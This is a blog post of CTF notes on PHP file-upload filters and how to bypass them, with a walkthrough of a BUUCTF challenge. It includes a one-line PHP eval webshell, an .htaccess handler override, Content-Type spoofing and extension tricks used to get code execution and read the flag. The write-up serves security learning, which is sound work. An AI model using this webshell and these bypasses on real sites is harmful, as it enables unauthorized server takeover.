CTF_文件上传

原创

pumpkin.zhu 于 2021-05-14 09:37:17 发布 287 收藏 1

分类专栏： CTF

本文链接：https://blog.csdn.net/soldi_er/article/details/116779283

文章目录

概述

目前文件检查思路：

```
1.JavaScript前端校验函数
2.MIME文件类型检查
3.文件后缀黑名单（包含常见的后缀替换，以及组件解析漏洞）
4.htaccess配置文件
5.文件头检查
6.文件内容检查（关键字"php"的替换）
7.条件竞争
8.hash存储路径
9.%00截断（需要可控路径存储参数）
```

3.后缀"php"的可能替换：php3、phtml。大小写绕过。加空格ph p。
Windows解析特性：php.、php::$DATA。

6.使用换行符\、或者使用PHP的四种标签写法中的短标签绕过。

```
XML风格
<?php echo  '书写内容' ;  ?>

简短风格（需要在配置中开启才能使用）
<?  echo  '书写内容' ;  ?>

SCRIPT风格
<script language='php'> echo  '书写内容' ;   </script>

ASP风格（需要在配置中开启才能使用）
<% echo '书写内容';%>
```

参考

《Upload-labs通关手册》，2018-07
https://xz.aliyun.com/t/2435

《PHP的四种标记（书写形式）》，2013-06
https://blog.csdn.net/dajungoodluck/article/details/84444862

---

buu你传你□呢

独立测试完成，时间2021-05。有被无聊到。

Python看一下res.headers，确认开发语言是PHP5.6。
查看首页的前端代码，看到upload.php。再看upload.php，没什么。
准备一句话木马：`<?php @eval($_POST[shell]);?>`，命名为shell.php。

测试：

```
1.直接上传shell.php，upload.php输出"我才your problem?"，无前端校验。

2.把文件后缀改成jpg，上传shell.jpg，查看是否有文件头、文件内容检查。
上传成功，路径有哈希！返回/var/www/html/upload/d9e3f21338eff0f140be883e96922f4a/shell.jpg succesfully uploaded!

3.继续上传shell.jpg，更改Content-type类型为"application/x-php"，测试MIME校验。
返回"我才your problem?"。绕过方式："Content-type:image/jpeg"

4.还剩三个检查方式没有测试。测试黑名单。估计是白名单。考虑上传htaccess配置文件。
使用文件后缀php3/php4/php5/phtml/PHP/ph p，均返回"我才your problem?"。

利用Windows解析特性，上传shell. php.，成功上传。（.php.或者. php.都可以）
返回/var/www/html/upload/d9e3f21338eff0f140be883e96922f4a/shell. php. succesfully uploaded!
访问文件，发现没有解析。Nmap扫描主机，发现应该是Linux操作系统。

5.上传htaccess文件。文件名称.htaccess。文件内容：SetHandler application/x-httpd-php。
修改Content-type类型后成功上传。
这时候访问/upload/d9e3f21338eff0f140be883e96922f4a/shell.%20php.，发现被解析了。
访问执行shell=phpinfo();,验证成功。
没有条件竞争。

6.蚁剑连接，在根目录下找到/flag，提交flag成功。
```

测试排除：

```
× 1.JavaScript前端校验函数
√ 2.MIME文件类型检查（存在）（passed）
√ 3.文件后缀黑名单或白名单（包含常见的后缀替换，以及组件解析漏洞）（passed）
√ 4.htaccess配置文件（pass黑名单）
× 5.文件头检查（排除）
× 6.文件内容检查（关键字"php"的替换）
× 7.条件竞争
× 8.hash存储路径（给出了存储路径，passed）
× 9.%00截断（无upload存储路径参数，不可控）
```
